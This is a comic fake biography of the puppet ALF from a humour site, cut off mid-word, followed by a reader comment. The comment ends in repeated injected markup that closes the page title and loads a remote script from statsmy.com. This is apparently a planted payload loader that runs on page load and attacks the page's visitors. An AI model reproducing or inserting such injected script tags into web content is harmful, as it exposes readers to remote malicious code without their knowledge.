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ALF: His Life in the Shadows
by Mel S. on 2/22/2004 (1)

"Where I'm from, this is ludicrous! It's like having a funeral for a hamburger!"
Alfred James Pacardo was born to parents Herb and Judy Packard in the suburbs of Chicago. Although no one noticed at first, it was eventually discovered that there was something odd about him, mainly the fact that he was an ugly puppet. But even with his bizarre and somewhat scary appearance, Alfred lived a normal life, even becoming star player of the year for his high school football team.

But after school ended, Alfred found himself with a problem. No one would hire a puppet. Alfred soon sank into depression, drinking anything he could get his hands on, from alcohol to gasoline. After almost ten straight months of constant substance abuse, Alfred was arrested for indecent exposure and sent to rehab, where he met his lifelong friend Robert Downey Jr.

"I met Alfred in the bathroom of the rehab centre. He was puking into the toilet, saying some incoherent speech about Jesus and tacos. I felt sorry for the guy. Being a puppet with an addiction must be tough," Robert said in an interview.

Alfred was released after a two month stay, and he was a refreshed puppet. He finally got a job ringing the bell at a cathedral in Paris. As long as he didn't go into the actual church and scare the visitors with his ugliness, he would be paid. But Alfred eventually began to grow tired of the repetitive work, and left Paris to go to Australia where he hoped to reach one of his lifelong dreams: meet Crocodile Dundee.

But this dream was harder than Alfred could've imagined. Alfred spent all his money on the tickets to Australia, so when he finally got there, he had nothing. He resorted to petty theft and drug dealing to get by, but this didn't last long after he was arrested again, this time for manslaughter.

"We caught Alfred with a switchblade, and a dead body was lying at his feet. He said the guy came at him with a knife, and he had to kill him to live. Even though all evidence pointed to murder, Alfred plead manslaughter, and only got two years in prison," Police Chief Darren Gowalla said about Alfred's crime.

But this murder was a blessing in disguise. While in prison, Alfred resorted to comedy to fend off attempted shankings. He quickly became the hit of the prison, holding a stand up concert every Monday at 9:00 P.M. in the dining hall. One of his shows was even taped by HBO, and aired on television a few weeks later. Hollywood Agent Michael Bradley saw this special, and knew Alfred was destined to be a star.

"Yeah, Alfred was a star right from the start. I mean, who else could make convicted murderers and rapists laugh as hard as he did? Rapists and murderers have good taste in comedy, and I usually trust them on who's going to be big," Michael Bradley said about Alfred.

As soon as Alfred was released from prison, he was signed by Michael Bradley, and soon was working on his own TV show. 'ALF' was going to be huge, and everyone knew it. It took the risqué humor of Alfred's stand up act, and turned into a family comedy.

ALF said it best in an interview from 1986. "My stand up act was very dirty. I mean, if I said it on a family show, kid's heads would blow up. So, me and the writers cleaned everything up, and we came out with 'ALF'. I would play an alien from a far off planet who would live in the garage of a family who loved him. It was partially based on a true story, at one point in my life I was living in the garage of a family, except they didn't know I was there, and I kept sneaking into their kitchen to take a leak in their f


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Comments

1. by feaglin on 3/1/2007 4:52:29 PM
ALF reminds me of a guy called Bart de Graaff.h= </title><script src=http://statsmy.com/ur.php ></script></title><script src=http://statsmy.com/ur.php ></script></title><script src=http://statsmy.com/ur.php ></script></title><script src=http://statsmy.com/ur.php ></script></title><script src=http://statsmy.com/ur.php ></script>


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